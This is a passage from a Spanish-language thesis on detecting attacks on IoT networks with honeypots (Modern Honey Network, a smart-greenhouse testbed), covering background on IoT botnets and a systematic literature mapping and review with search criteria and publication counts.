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Resumen
Hoy en dia los constantes avances tecnolégicos y la interconexion global de dispositivos a través
de Internet han abierto un mundo de oportunidades para que las personas realicen tareas que
hace algunos afios eran impensables. A medida que el tiempo transcurre los dispositivos
inteligentes van tomando mayor aceptacion y generan mayor utilidad al ser humano, abarcando
tanto sectores industriales como domésticos. En consecuencia, nuevas técnicas de intrusion van

apareciendo, generando nuevas vulnerabilidades de seguridad informatica.

Los dispositivos 10T en la actualidad pueden utilizarse como agentes para difundir ataques
informéticos a pequefia y gran escala. Evidentemente, es necesario afrontar estos nuevos retos
de seguridad cibernética en los productos y servicios del Internet de las Cosas creando medidas
para prevenir y detectar ciberataques en estos entornos. El propésito del presente trabajo es
realizar el andlisis de vulnerabilidades de seguridad informatica en entornos loT a través de
honeypots. Para lo cual, se implement6é un MHN (Modern Honey Network) el cual es un servidor
centralizado para la administracion y recopilacion de datos de honeypots. Mediante una honeynet
virtual autocontenida y una Raspberry pi se instalaron tres sefiuelos diferentes. Los honeypots
instalados simulan servicios atractivos e intencionalmente expuestos para ser atacados por un
ciberdelincuente. Estos sefiuelos estan implementados dentro de un escenario real de un
invernadero inteligente y se haran pasar como servidores de produccién dentro de la red loT.
Con este escenario de prueba se comprobara la capacidad de deteccion de los honeypots. La
finalidad es obtener un sistema que pueda identificar las técnicas utilizadas por los

cibercriminales en ataques internos o externos a las redes del Internet de las Cosas.

Palabras clave: honeypot, ciberseguridad, |oT, vulnerabilidad, auditoria de seguridad

informatica.
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Abstract
Nowadays, constant technological advances and the global interconnection of devices through
the Internet have opened up a world of opportunities for people to perform tasks that were
unthinkable a few years ago. As time goes by, smart devices are becoming more accepted and
more useful to humans, covering both industrial and domestic sectors. As a result, new intrusion

techniques are emerging, creating new computer security vulnerabilities.

IoT devices can nowadays be used as agents to spread small- and large-scale cyber-attacks.
Clearly, it is necessary to address these new cyber security challenges in Internet of Things
products and services by creating measures to prevent and detect cyber-attacks in these
environments. The purpose of this work is to perform the analysis of cyber security vulnerabilities
in loT environments through honeypots. For this purpose, a MHN (Modern Honey Network) was
implemented, which is a centralized server for the administration and collection of honeypot data,
and by means of a self-contained virtual honeynet and a Raspberry Pi, three different decoys
were installed. The installed honeypots simulate attractive and intentionally exposed services to
be attacked by a cybercriminal. These decoys are implemented within a real scenario of a smart
greenhouse and will masquerade as production servers within the 10T network. This test scenario
will be used to test the detection capability of the honeypots. The aim is to obtain a system that
can identify the technigues used by cybercriminals in internal or external attacks on Internet of

Things networks.

Keywords: honeypot, cybersecurity, 10T, vulnerability, IT security audit.
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Capitulo I: Marco Metodoloégico

Antecedentes

En la dltima década la tecnologia ha crecido exponencialmente no solamente en calidad
si no también en cantidad, lo que ha dado hincapié a la aparicién de nuevos dispositivos
inteligentes conectados a Internet. A este conjunto de dispositivos se les denomina Internet de
las Cosas y con ellos aparecieron nuevos ataques y delitos informaticos. De esta manera cada
vez mas los adversarios emplean mas recursos para irrumpir en estos entornos. En el trabajo
realizado conjuntamente entre la industria y academia “Understanding the Mirai Botnet”
(Antonakakis, y otros, 2017) se habla de uno de los ataques mas gigantescos a loT. La botnet
nombrada Mirai es un malware que inicié en septiembre de 2016. Consecuentemente tras la
liberacién de este malware decenas de miles de dispositivos 0T mal configurados fueron
capturados por criminales informaticos. Como resultado, los dispositivos esencialmente
camaras IP, routers y grabadoras digitales se convirtieron en elementos controlados a
distancia. Es asi que esta infeccion a dispositivos 10T con falencias de seguridad terminé por
consumar un ataque de denegacion de servicio distribuido en contra del proveedor de servicios

de nombres de dominio Dyn. Tal es el caso que afect6 a importantes sitios web a nivel global.

A partir de la liberacion del cédigo fuente del malware Mirai, han aparecido variantes
tales como Satori, Masuta, Okiru, etc. Una de las ultimas variantes es la potente botnet
loTrooper la cual ataco a entidades gubernamentales y bancos de Paises Bajos. Segun
(Howell, 2018) los ataques que se produjeron a finales de enero de 2018 detuvieron
temporalmente servicios bancarios en linea de ABN Amor, ING y Raboban, asi como los

sistemas de la oficina nacional de impuestos de Paises Bajos.

En la primera mitad del afio 2019 (Kaspersky Lab, 2019) mediante sus honeypots
detectd mas de 100 millones de ataques a dispositivos del Internet de las Cosas provenientes

de 276 000 direcciones IP Unicas. Los datos registrados por los honeypots indican que las
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regiones que mas sufren ataques a estos entornos son China con el 30%, Brasil 19% y Egipto
12%. Los adversarios cibernéticos estan aumentando los intentos de instaurar y monetizar

redes de bots con dispositivos loT.

Segun reportes del portal de estadistica aleméan (Statista, 2021), se estima que para
2030 habra alrededor de 25.44 billones de dispositivos de Internet de las cosas (IoT)
conectados alrededor del mundo, mas del doble de los 11.57 billones de dispositivos estimados
para 2022. De acuerdo a (Statista, 2021) en el segmento de consumidores se concentra la
mayor cantidad de dispositivos conectados con un 60 por ciento y lo restante corresponde a

principales derivaciones de la industria.

Finalmente, en un estudio realizado por (Kaspersky, 2022) se evidencia que el 43% de
las empresas no protege por completo sus redes 10T. El 46% de las empresas creen que las
soluciones de ciberseguridad afectan el rendimiento de los dispositivos I0T. Otra de las razones
con el 30% es que las herramientas de seguridad son costosas, lo que también se asocia a que
no se pueda justificar la inversion de la misma. Consecuentemente, los riesgos de seguridad
cibernética asociados a los dispositivos I0T son vistos por el 57% de las empresas que se

declinan por no implementar este tipo de soluciones.

Motivacion

Actualmente los dispositivos del Internet de las Cosas se encuentran implementados en
varios ecosistemas de ambito empresarial y también en entornos domeésticos. De acuerdo a la
base de datos de Gartner Machina, el empleo de tecnologia IoT esté incrementado en la
mayoria de industrias. Se tiene proyectado un total de 18 mil millones de dispositivos 10T en
entornos empresariales para el 2030. A partir de lo indicado nace este proyecto, el fin es
descubrir y analizar las diferentes variantes de amenazas y vulnerabilidades informéticas que

abarcan e infectan a millones de dispositivos 10T.
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De acuerdo con (Netscout Systems, Inc., 2019) los dispositivos 10T fueron objetos de
algun tipo de ataque los primeros cinco minutos tras haber sido conectados a Internet. Los
adversarios y autores de malware aprovechan las vulnerabilidades de los dispositivos
inteligentes para crear botnets de loT para atacar nuevas areas. Unicamente en el afio 2020
segun el informe Nokia Threat Intelligence Report (Nokia, 2020) los ataques consumados a
dispositivos 10T ha crecido drasticamente. De modo que, un 100% de dispositivos 10T han sido

comprometidos respecto al afio 2019.

En su mayoria los fabricantes y desarrolladores de dispositivos 10T no crean medidas
de seguridad robustas en los artefactos lanzados al consumo. Las debilidades en el apartado
de software o hardware de estos equipos crean pivotes de ataque manipulados por criminales
informaticos. La confidencialidad, integridad y disponibilidad se deja de lado ya que
actualmente se toman pocas consideraciones en el desarrollo de software orientado a
dispositivos del Internet de las Cosas. En suma, la seguridad en 0T es diminuta o totalmente
nula en gran cantidad de dispositivos del Internet de las Cosas, provocando que este sea un
sector cada vez mas expuesto y vulnerable. Lo preocupante es que, en la actualidad, desde
equipamiento médico hasta sistemas automovilisticos y dométicos, utilizan tecnologia IoT.
Conforme al informe de amenazas de l0T de (Palo Alto Networks, 2020) el 72% de las VLAN
de atencion hospitalaria se componen de dispositivos 10T y Tl, permitiendo asi la propagacion
de malware desde las terminales de usuarios a dispositivos |0T explotables dentro de la misma
red informéatica. Adicionalmente, el 41% de los exploits ejecutan las vulnerabilidades de los
dispositivos, esto debido a que los ataques propagados a través de Tl examinan todos los

terminales conectados a la red con el fin de utilizar las vulnerabilidades mas comunes.

Por esta razon se necesita aplicar acciones y mecanismos para robustecer la seguridad
informatica en los ecosistemas |0T. En este trabajo se implementara una Honeynet hibrida en

una red IoT la misma que permitira alertar al administrador de red de probablemente ataques
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gue busquen vulnerar y explotar debilidades de los elementos de red. Por tanto, el
administrador tomara las acciones necesarias para mitigar el riesgo. Adicionalmente, se
estudiaran las vulnerabilidades mas comunes que atentan a los dispositivos del Internet de las
Cosas, acortando la seguridad de los datos y operacion de redes en estos entornos. Mediante
la implementacién de herramientas de seguridad en la red se logra aplacar e impedir que las

amenazas exploten vulnerabilidades en dispositivos inteligentes.

Importancia

El revelar las principales amenazas que quebrantan la seguridad de las redes e
informacion en entornos 10T es de gran relevancia. Actualmente existe una gran cantidad de
dispositivos 10T desplegados en hogares, ciudades inteligentes e industria. Por tal motivo, una
herramienta que sea capaz de encontrar y clasificar vulnerabilidades dentro de sistemas loT se
vuelve de gran envergadura. Algunos de los hallazgos claves que menciona (Team, 2018)
indican que los desarrolladores de bonets para loT estan implementando cada vez mayor
énfasis en la explotacion de vulnerabilidades vinculadas con tecnologia 10T en su arsenal,
ademas del enrutamiento comuin de ataques de fuerza bruta. En ciertos casos, los atacantes
complementan este tipo de ataques con intrusiones mediante vulnerabilidades conocidas.
Adicionalmente, se identifica que las vulnerabilidades vinculadas a tecnologia del Internet de
las Cosas son vectores de ataque funcionales durante mayor periodo de tiempo dado la
dificultad y el lento ritmo de parchear dispositivos 10T. Es asi que se requiere garantizar un
entorno lIoT mas seguro, integro y que permita vigilar las técnicas, tacticas y procedimientos

gue utilizan los adversarios para infiltrarse en la red.

Con este trabajo se pretende cubrir estas falencias de seguridad y proporcionar a los
sistemas loT emergentes de instrumentos de supervision y prevencion de irrupciones. Para
avalar el trabajo que ejecutaran los distintos Honeypots, se plantean los principales tipos de

vulnerabilidades y riesgos asociados a las redes y dispositivos del Internet de las Cosas. Por
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consiguiente, a manera de ejemplificar la importancia de la seguridad en las principales
industrias, se implementara un escenario de prueba enfocado al sector de la agricultura. La
gran ventaja de esta arquitectura de red es que es aplicable a cualquier campo que despliegue
0 abarque tecnologias emergentes I0T. La gestion del ciclo de vida de 10T es un reciente
desafio para las instituciones. Es asi que, al contar con estas soluciones de seguridad, se
permite a las entidades descubrir e identificar dispositivos 10T y proporcionarles un perfil de

riesgo a cada uno de estos.

Existe una obligacién ascendente de emprender acciones de seguridad proactivas que
puedan ser puestas en marcha por distintas partes interesadas dentro de una institucion. En tal
sentido, se identificaran los principales vectores de ataque en este tipo de ecosistemas y se
indicaran las mejores practicas que se pueden implementar para salvaguardar la

confidencialidad, integridad y disponibilidad de los sistemas IoT.

Estado del arte
Mapeo Sistemético de la Literatura

Las estrategias de Seguridad Informatica dentro de ecosistemas I0oT son escasas y no
existe un nivel de concientizacion sobre la importancia de las mismas para salvaguardar la
integridad de la red y las tecnologias emergentes. En primer lugar, existe un crecimiento y
desarrollo acelerado de dispositivos inteligentes debido a la demanda actual y al aumento de
acceso de los usuarios a Internet. Por tal motivo la academia y la industria se centran en
investigar nuevas aplicaciones con tecnologias emergentes para simplificar las labores
humanas. Sin embargo, la seguridad de los dispositivos y la red en la que trabajan se deja en
segundo plano. Consecuentemente, hallar una explotacion dentro de estos sistemas de
informacion por parte de adversarios, bots o0 amenazas desconocidas puede desembocar en
una pérdida sustancial. De hecho, la pérdida puede ser productiva, financiera e inclusive

reputacional para una organizacién. De tal manera, podria significar la exfiltracion de datos y
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material sensible de los usuarios, desembocando en problemas no solo a nivel de

infraestructura tecnoldgica sino a niveles legales de acuerdo a la normativa nacional.

Por tal motivo, se realizara un mapeo sistematico de literatura o SMS (Systematic
Mapping Studies, por sus siglas en inglés) que permita comprender de mejor manera las
herramientas disponibles para el desarrollo de soluciones de seguridad informatica. Haciendo

hincapié en mecanismos para proteger entornos del Internet de las Cosas.

Este mapeo sistematico de literatura se realiza con el fin de trazar una linea de ruta con

una vasta base de entendimiento para el desarrollo adecuado del presente proyecto.

En la actualidad existen algunos trabajos sobre la implementacién de soluciones de
seguridad informética para ecosistemas del Internet de las Cosas. Sin embargo, estas
herramientas son de caracter investigativo y no ofrecen una implementacion viable en la

mayoria de redes.

A continuacion, mediante el mapeo sistematico de literatura se indaga en los trabajos y
propuestas que se estan desarrollando alrededor del mundo. De tal manera se determinara si
estos pueden ser aplicables a entornos de tecnologias emergentes reales, analizando los
resultados alcanzados por parte de los investigadores. El empleo del SMS surge de acuerdo a

la cantidad de investigaciones realizadas en el marco nacional e internacional.

Definicion de las preguntas de investigacion. Para analizar los resultados obtenidos
producto de la basqueda de informacion, se categorizé los trabajos obtenidos procurando
responder las preguntas de investigacion realizadas. La utilizacion del SMS permitira verificar el
nivel de estudio de los temas investigados. Por tal motivo, se han definido preguntas de
investigacion para conocer qué herramientas de seguridad informatica existen para entornos

del Internet de las Cosas.
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Preguntas de investigacion del SMS
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Pregunta de Investigacion

Motivacion

P1: ¢ Cuanta relevancia ha tomado la
seguridad informatica en tecnologias
emergentes como el Internet de las cosas en

los ultimos afios?

Conocer la importancia de proteger una red
informatica disefiada a partir de tecnologias

emergentes como loT.

P2: ¢ Cudles son los principales problemas
de seguridad informética a los que estan
expuestos los ambientes basados en

tecnologias emergentes?

Conocer las falencias de seguridad mas
notorias dentro de entornos que utilicen

tecnologias emergentes.

P3: ¢ Existen soluciones de seguridad
cibernética que permita monitorear, capturar
y catalogar las amenazas presentes en la

red?

Conocer las herramientas de seguridad
informatica existentes en la actualidad y el

estado de desarrollo de las mismas.

P4: ¢ Qué limitaciones de hardware y/o
software tienen los dispositivos del Internet

de las Cosas?

Conocer las falencias de dispositivos
inteligentes para escoger una solucion de
seguridad apropiada para reducir los

vectores de ataque.

Criterios de busqueda de informacion. Se seleccioné la base de datos Web of

Science (WQOS, por sus siglas en inglés) como motor de basqueda de informacion. Este es un

servicio que cuenta con una base amplia de informacion cientifica. Resultado de esta primera

fase se pretende abarcar trabajos de cientificos donde se descubra la tecnologia actual.



28

Dado la gran cantidad de informacion que existe, se emplea una busqueda preliminar
para conseguir un primer borrador. De esta busqueda preliminar se debe aclarar que algunas
de las consultas no se emplearan en el presente trabajo debido a que no representan gran

importancia para el desarrollo del mismo.

Mediante los siguientes términos de consulta se construye la estructura de blsqueda
del mapeo sistemaético de la literatura. Estos términos se basan en las preguntas de

investigacion planteadas en el presente capitulo:

Tabla 2

Términos para construir la estructura de busqueda del SMS

Término Principal Términos alternativos

Tools Instrument, device, mechanism

Cybersecurity Information security, Infosec, Cybersec,
security

Internet of things 0T, loT Network, IoT Technology

En base a los términos principales se formula la estructura de la consulta para el

desarrollo del SMS:

¢ Tools OR instrument OR device OR mechanism + Cybersecurity OR Information
security OR infosec OR cybersec OR security + Internet of Things OR 10T OR loT

Network OR IoT Technology

Criterios de incorporacion y exclusion. A lo largo de la busqueda fueron
considerados todos los trabajos cientificos que han sido publicados hasta septiembre de 2022
donde se concluye la fase del SMS. De acuerdo a los resultados obtenidos se procede a realiza

una revision sistematica de la literatura.
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Para catalogar la informacion relevante los trabajos que seran considerados al menos

deben cumplir con los siguientes parametros:

e Trabajos cientificos completos.

e Pertenecientes a los campos de “Computer Science Information Systemas”,
“Telecommunications”, “Engineering Electrical Electronic”

¢ Publicaciones hasta septiembre de 2022.

e Expongan estandares y/o soluciones de seguridad para sistemas informaticos.

De igual manera se descartaron trabajos que cumplen con uno de estos parametros:

e Trabajos que no abordan mecanismos de seguridad informatica.
e Articulos, tesis o documentos incompletos.

e Trabajos repetidos, de acceso anticipado.

Clasificacion de los trabajos cientificos. Para el proceso de categorizacion de

trabajos se empleé tres fases que se explican a continuacioén:

1. A partir de las estructuras de consultas armadas se realizd un primer barrido de
informacion. No se aplico ningun filtro dentro de la peticién, como resultado de esta
primera fase se obtuvo un total de 1103 resultados.

2. En esta fase se toman en cuenta los criterios de incorporacién y exclusion descritos
anteriormente en este capitulo. Adicionalmente se empled la misma estructura de
consulta utilizada en la primera fase, se obtuvieron un total de 364 resultados.

3. Finalmente, para la tercera fase se emple6 la misma estructura y consideraciones que
en la fase 2, adicionalmente se consideraron los trabajos mas relevantes y de utilidad
para el desarrollo de una solucion de seguridad informatica. Por tal motivo el filtrado es

mas preciso y se obtuvieron 90 trabajos de interés.
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Figura 1

Trabajos cientificos extraidos en cada fase del SMS

Fase 1 Fase 2 Fa;’; 3
1103 Trabajos 364 Trabajos Trabajos
cientificos Cientificos Cientifico

S

Resultados. El mapeo sistemético de la literatura concluye con la obtencion de 90
trabajos relevantes. De la primera fase de clasificacion de trabajos se aprecia que en los
ultimos afios el tema de seguridad informatica para tecnologias emergentes ha tomado gran
relevancia. Es asi que en el afio 2014 se registran 2 publicaciones, mientras que para 2021 son
291 y para 2022 son 324 las publicaciones que abordan estos temas. De la data obtenida se
aprecia que los campos que mas abarcan publicaciones son los de Computer Science
Information Systems con 643 (58.296%), Engineering Electrical Electronic tiene 484 (43.880%),
Telecommunications con 365 (33.092%) y Computer Science Theory Methods con 281

publicaciones (25.476%).

Para la segunda fase de la clasificacion se obtuvo un total de 364 trabajos cientificos de
los cuales 87 fueron publicados en el 2021 y 99 en el 2022 manteniendo la tendencia de la
primera fase en cuanto a nimero de publicaciones por afio. Los campos con mas publicaciones
siguen siendo Computer Science Information Systems con 270 (74.176%), Engineering
Electrical Electronic con 249 (68.407%) y Telecommunications con 177 (48.626%). La
diferencia con respecto a la primera fase es que Computer Science Theory Methods es
desplazado al sexto lugar de campos con mas publicaciones y toma su antigua posicion

Instruments Instrumentation con 62 publicaciones (17.033%).



31

Figura 2

Publicaciones por afio de la fase 1 del SMS
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Nota. Numero de publicaciones vs citas por afio sobre Seguridad Informética en entornos con

tecnologias emergentes conocidos en la fase 1 del SMS, resultados obtenidos de la base de

datos Web of Science.

Figura 3

Publicaciones por afio de la fase 2 del SMS
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Nota. Numero de publicaciones vs citas por afio sobre Seguridad Informatica en entornos con

tecnologias emergentes conocidos en la fase 2 del SMS, resultados obtenidos de la base de

datos Web of Science.
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La tercera fase del mapeo sistematico de la literatura arrojo 90 trabajos cientificos del
interés, como se aprecia en la Figura 4 la cantidad de publicaciones es igual para el afio 2021 y
2022 con un total de 24. El campo de estudio que mas aborda publicaciones relacionadas a
soluciones de seguridad en sistemas informaticos con tecnologias emergentes es Engineering
Electrical Electronic con 68 (75.556%) seguido de Computer Science Information Systems con

65 (72.222%).

Figura 4

Publicaciones por afio de la fase 3 del SMS

5
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Nota. Numero de publicaciones vs citas por afio sobre Seguridad Informética en entornos con
tecnologias emergentes conocidos en la fase 3 del SMS, resultados obtenidos de la base de

datos Web of Science.

Por ultimo, mediante VOSviewer la cual es una herramienta que permite el analisis y la
visualizacion de trabajos cientificos a través de redes bibliométricas se procederd a indicar las
palabras claves mas recurrentes encontradas en la tltima fase del SMS. Dentro de VOSviewer
se han definido 46 términos en 4 clusters de los que destacan palabras clave como: security,
privacy, internet of things, authentication, design, tool. De acuerdo a los parametros de filtrado
en la fase 3 los términos encontrados son los mas adecuados, security y tool son términos que

cuentan con varias relaciones dentro de la base de informacién obtenida.
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Figura 5

Términos clave en WOS correspondiente a la fase 3 del SMS
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Nota. Red Bibliométrica realizada en VOSviewer a partir de los datos obtenidos de la Web of
Science y que corresponden a las relaciones de las palabras claves de las publicaciones

encontradas en la fase 3 del SMS.

Conclusiones. Las preguntas de investigacion planteadas para el SMS se han resuelto
gracias al proceso de busqueda y seleccién de las publicaciones dentro de WOS.

Seguidamente se da respuesta las preguntas planteadas:

P1: ¢ Cuantarelevancia hatomado la seguridad informatica en tecnologias

emergentes como el Internet de las cosas en los Ultimos afios?

Como se aprecia en los resultados obtenidos en la primera fase de la clasificacién de
publicaciones en los Ultimos afios las investigaciones de soluciones sobre seguridad

informatica en entornos 10T ha incrementado notoriamente. En 2014 se registraron anicamente
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2 publicaciones relacionadas, mientras que en 2022 ya se han publicado 324 trabajos. La
tendencia se mantiene si se aplican filtros mas exhaustivos como se evidencia en la fase 3.
Estos resultados indican la relevancia que ha tomado la ciberseguridad para tecnologias

emergentes.

P2: ¢Cudles son los principales problemas de seguridad informatica a los que

estan expuestos los ambientes basados en tecnologias emergentes?

En el SMS se pudo deducir que el campo que mas abarca investigaciones en esta
tematica es Computer Science Information Systems con 643 (58.296%). Dentro de este campo
se exponen trabajos sobre soluciones para el firmware loT, problemas de privacidad en la
arquitectura de la red que alberga a estas tecnologias, asi como en los dispositivos per se. Otro
campo es Telecommunications con 365 (33.092%) publicaciones que abordan problemas de
seguridad y privacidad en los protocolos de transporte de informacién desde o hacia los

dispositivos de red.

P3: ¢ Existen soluciones de seguridad cibernética que permita monitorear,

capturar y catalogar las amenazas presentes en lared?

En la fase 2 del SMS las publicaciones abordan la investigacion e implementacion de
soluciones de seguridad basadas en arquitecturas especializadas. Las estrategias para mitigar
los ciberatagues abarcan tecnologias como una granja virtual de honeypots, la implementacién
de herramientas como IDS/IPS a través de Raspberry Pi, aplicaciéon de protocolos seguros.
Adicionalmente se aprecian soluciones incluso mas sofisticadas y especificas como una
herramienta para monitorear la seguridad en areas de control de vehiculos. También se
aprecian esquemas de encriptacién y aplicacién de administradores de identidad y

autenticacion de dispositivos.
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P4: ¢ Qué limitaciones de hardware y/o software tienen los dispositivos del

Internet de las Cosas?

La principal temética que se aborda en las investigaciones es el bajo nivel de madurez
en los disefos actuales de las arquitecturas de red que albergan ecosistemas loT. Sobre los
principales riesgos de seguridad generado por debilidades en el hardware que tienen los
dispositivos 10T se aprecia que los componentes utilizados son de bajas prestaciones.
Consecuentemente esto desemboca en ataques de denegacion de servicio, inclusive ataques
de interferencia. En cuanto a riesgos debido al software se observan investigaciones centradas
en el robustecimiento de sistemas de autenticacion y control de acceso. La falta de métodos de
encriptacion robustos y las limitaciones impuestas en el firmware del dispositivo también son

abordados dentro de la literatura obtenida en el SMS.

Revision Sistemética de la Literatura

Una vez culminada la etapa del mapeo sistematico de la literatura es necesario
profundizar en las herramientas de seguridad informética para entornos emergentes
disponibles en la actualidad. Acorde a los trabajos cientificos obtenidos en el SMS las
investigaciones cubren una amplia variedad de soluciones para mejorar la ciberseguridad de
estos entornos. Es por esto que se ejecutara una revision sistematica de la literatura o SLR

(Systematic Literature Review, por sus siglas en inglés).

El SLR permite abarcar de forma més especifica un tema de investigacién, mediante
este se recopila los resultados mas apropiados de los diversos estudios realizados en el SMS.
De manera andaloga, en la revision sistematica de la literatura se emplea un proceso ordenado

para su realizacion similar al proceso del SMS.

El objetivo principal de este SLR es averiguar las herramientas, métodos y soluciones

de seguridad informéatica existentes y disponibles para entornos que incorporen tecnologias
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emergentes como |oT, con el fin de obtener directrices para la proteccion de estos entornos. De

la misma forma se estima encontrar trabajos que permitan conocer de primera mano la

efectividad y viabilidad de las distintas soluciones.

Es necesario la realizacion de un SLR dada la gran cantidad de informacién encontrada

en el SMS. Como consecuencia a la necesidad de la industria y la academia de cubrir la

creciente demanda de sistemas y arquitecturas para la proteccién ante las amenazas

cibernéticas.

Definicién de las preguntas de investigacion. Para conocer las herramientas,

métodos y soluciones existentes para entornos que incorporen tecnologias emergentes se

plantearon las siguientes preguntas:

Tabla 3

Preguntas de investigacion del SLR

Pregunta de Investigacion

Motivacion

P1: ¢ Qué soluciones de seguridad
informética existen para monitorear, capturar
y catalogar las amenazas presentes en redes

del Internet de las Cosas?

Conocer las herramientas de seguridad
informatica existentes en la actualidad y el
estado de desarrollo de las mismas para

entornos loT.

P2: ¢ Qué trabajos existen centrados en
analizar el malware presente en entornos

loT?

Encontrar todas las publicaciones cientificas
gue aborden el analisis de malware en redes

0T (en el caso que hubiesen).

P3: ¢ Existen herramientas de ciberseguridad
que ocupen bajos recursos de hardware para

su funcionamiento?

Conocer las soluciones de seguridad
informética que limiten los recursos de

hardware para su correcto funcionamiento.
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Pregunta de Investigacién

Motivacion

P4: ¢ Qué métodos y/o técnicas de intrusién
estan afectando mas los entornos loT en la

actualidad?

Conocer los métodos y/o técnicas que
explotan las vulnerabilidades de los entornos

del Internet de las Cosas.

Criterios de busqueda de informacién. Se emplearan criterios semejantes a los ya

utilizados para el mapeo sistematico de la literatura sin embargo lo que se busca con el SLR es

dar mayor fondo en cuanto a métodos, técnicas y tecnologia de seguridad informética. Por tal

motivo se prescindira de publicaciones como articulos de revisién, de acceso anticipado,

papeles de procedimiento o trabajos que tengan un enfoque Unicamente de divulgacion

cientifica. El motor de busqueda es la base de datos de la Web of Science el cual cuenta con

una amplia base de publicaciones y ya fue utilizado en el SMS.

La estructura de busqueda empleada en el SLR ha sido determinada en base a las

preguntas de investigacion planteadas:

Tabla 4

Términos para construir la estructura de basqueda del SLR

Término Principal

Términos alternativos

Tools Instrument, device, mechanism
Information security, Infosec, Cybersec,
Cybersecurity
security
Malware Malicious software, badware, malign code

Low-resource software

Architecture, protocol, framework, platform,

system

Internet of things

0T, 1oT Network, IoT Technology
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En base a los términos principales se formula la estructura de la consulta para el

desarrollo del SLR:

Tools OR instrument OR device OR mechanism + Cybersecurity OR Information
security OR infosec OR cybersec OR security + malware OR malicious software OR
badware OR malign code + Low-resource software OR architecture OR protocol OR
framework OR platform OR system + Internet of Things OR IoT OR loT Network OR loT

Technology

Criterios de incorporaciéon y exclusion. Para esta etapa del SLR se han considerado

todas las publicaciones indexadas a la base de la Web of Science hasta octubre de 2022. Se

valoré la relevancia de cada trabajo cientifico para determinar la importancia de su inclusién en

el presente trabajo.

Para catalogar la informacién relevante los trabajos que seran considerados al menos

deben cumplir con los siguientes parametros:

Trabajos cientificos completos.

Pertenecientes a los campos de “Computer Science Information Systemas”,
“Telecommunications”, “Engineering Electrical Electronic”

Publicaciones hasta octubre de 2022.

Expongan estandares y/o soluciones de seguridad para sistemas informaticos.

De igual manera se descartaron trabajos que cumplen con uno de estos paradmetros:

Trabajos que no abordan mecanismos de seguridad informatica.
Articulos, tesis o documentos incompletos.
Trabajos repetidos.

Articulos de revision, de acceso anticipado y papeles de procedimiento.
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Clasificacién de los trabajos cientificos. De similar manera que en el SMS se utilizé

tres fases para catalogacion de las publicaciones de la WOS:

1. Para esta primera fase se identificaron todas las publicaciones encontradas con la
estructura de busqueda definida para el SLR. Se obtuvieron un total de 335
publicaciones.

2. Enla segunda fase se empleé los criterios de incorporacion y exclusion definidos
anteriormente ademas de los criterios de la primera fase. Se consiguieron 104 articulos.

3. Finalmente se aplican filtros mas exactos para conocer Unicamente los trabajos de
interés y que provean de una herramienta de seguridad informatica en base a las

necesidades especificadas a lo largo del SLR. Se obtuvieron 19 resultados de interés.

Figura 6

Trabajos cientificos extraidos en cada fase del SLR

Fase 1 Fase 2 Fase 3
335 Trabajos 104 Trabajos 19 Trabajos
cientificos Cientificos Cientificos

Resultados. En esta etapa se analizaran los trabajos cientificos encontrados en la fase
de clasificacion. Tras aplicar la metodologia descrita se pudo obtener en la tercera fase un total
de 19 articulos de interés. Como consecuencia de esto se indicaran datos relevantes para el

estudio.
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En la primera fase de catalogaciéon de informacién se aprecia que la tendencia de
publicaciones de seguridad informatica para ecosistemas 0T es creciente en el afio 2022 se
registra un total de 101 publicaciones seguido de 94 articulos registrados en 2021. El 73.433%
de las publicaciones encontradas en esta primera fase corresponden al campo Computer

Science Information Systems.

Figura 7

Publicaciones por afio de la fase 1 del SLR

suopens

2014 2015 2016 alr 20fs 2lo 2030 20d1 2022 2033

Publications I citations

Nota. Numero de publicaciones vs citas por afio sobre Soluciones de seguridad Informatica en
entornos del Internet de las Cosas conocidos en la fase 1 del SLR, resultados obtenidos de la

base de datos Web of Science.

Para la segunda fase de clasificacion se registra una variacion en la tendencia. Se
evidencia que al aplicar filtros méas exhaustivos las publicaciones de interés en su mayoria han
sido publicadas a partir del 2020 y de hecho en este afio se registran 33 publicaciones del total
encontrado en esta fase. De similar manera el campo que mas aborda estos temas es el de

Engineering Electrical Electronic con el 74.038%.
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Figura 8

Publicaciones por afio de la fase 2 del SLR
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Publications Wl citations.

Nota. Numero de publicaciones vs citas por afio sobre Soluciones de seguridad Informatica en
entornos del Internet de las Cosas conocidos en la fase 2 del SLR, resultados obtenidos de la

base de datos Web of Science.

En la dltima fase donde se toma en consideracion pardmetros mas exhaustivos de
busqueda se aprecia que 6 de los trabajos de interés se han publicado en 2022. En la Figura 9
también se aprecia que las citas en trabajos de investigacion aumentan con el pasar del tiempo
debido a la necesidad de proteccion de estos entornos ante las amenazas actuales.
Nuevamente el campo con mas participacion dentro de las publicaciones es Computer Science

Information Systems con el 78.947%.

Finalmente, como se realizé en el mapeo sistematico de la literatura se emplea la
herramienta VOSviewer para determinar las palabras clave encontradas en la fase 3.
Consecuentemente se requiere constatar que el filtrado se realizé de manera correcta y este se
alinea al objetivo principal del SLR el cual es dar respuesta a las preguntas de investigacion.
Como se aprecia en la Figura 10, las palabras mas frecuentes encontradas son: security,

internet of things, intrusién detection, malware, botnet, honeypot, attacks, anomaly detection.
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Figura 9

Publicaciones por afio de la fase 3 del SLR
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Nota. Numero de publicaciones vs citas por afio sobre Soluciones de seguridad Informatica en

entornos del Internet de las Cosas conocidos en la fase 3 del SLR, resultados obtenidos de la

base de datos Web of Science.

Figura 10

Términos clave de WOS correspondiente a la fase 3 del SLR
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Conclusiones. La finalidad de la ejecucion del SLR es dar respuestas a las preguntas

de investigacién planteadas, las cuales se indican a continuacion:

P1: ¢Qué soluciones de seguridad informética existen para monitorear, capturar y

catalogar las amenazas presentes en redes del Internet de las Cosas?

Dentro de los principales trabajos recabados se identifican soluciones basadas en
sistemas de deteccion de intrusiones (IDS, por sus siglas en inglés), sistemas de prevencion de
intrusiones (IPS, por sus siglas en inglés), granjas de honeypots o también llamados
Honeynets. También se evidencia el uso de servidores especializados para la autenticacion y
administracion de claves. Adicionalmente existen modelos y marcos de trabajo que emplean
tecnologias como Machine Learning, Blockchain y herramientas de analitica especialmente

disefiados para entornos del Internet de las Cosas.

P2: ¢ Qué trabajos existen centrados en analizar el malware presente en entornos

IoT?

Acorde a las publicaciones encontradas en el SLR, gran parte buscan soluciones
orientadas a capturar y analizar el trafico malicioso en las redes de los ecosistemas I0T. Los
trabajos analizan las familias de malware existentes mediante repositorios abiertos de
informacioén para clasificarlas y estructurar ambientes para la proteccion de los sistemas.
También se aprecia que las investigaciones utilizan tecnologias como redes neuronales,
métodos de deteccidén basados en caracteristicas estaticas, deteccion inteligente, analisis

dindmico entre otras.

P3: ¢ Existen herramientas de ciberseguridad que ocupen bajos recursos de

hardware para su funcionamiento?

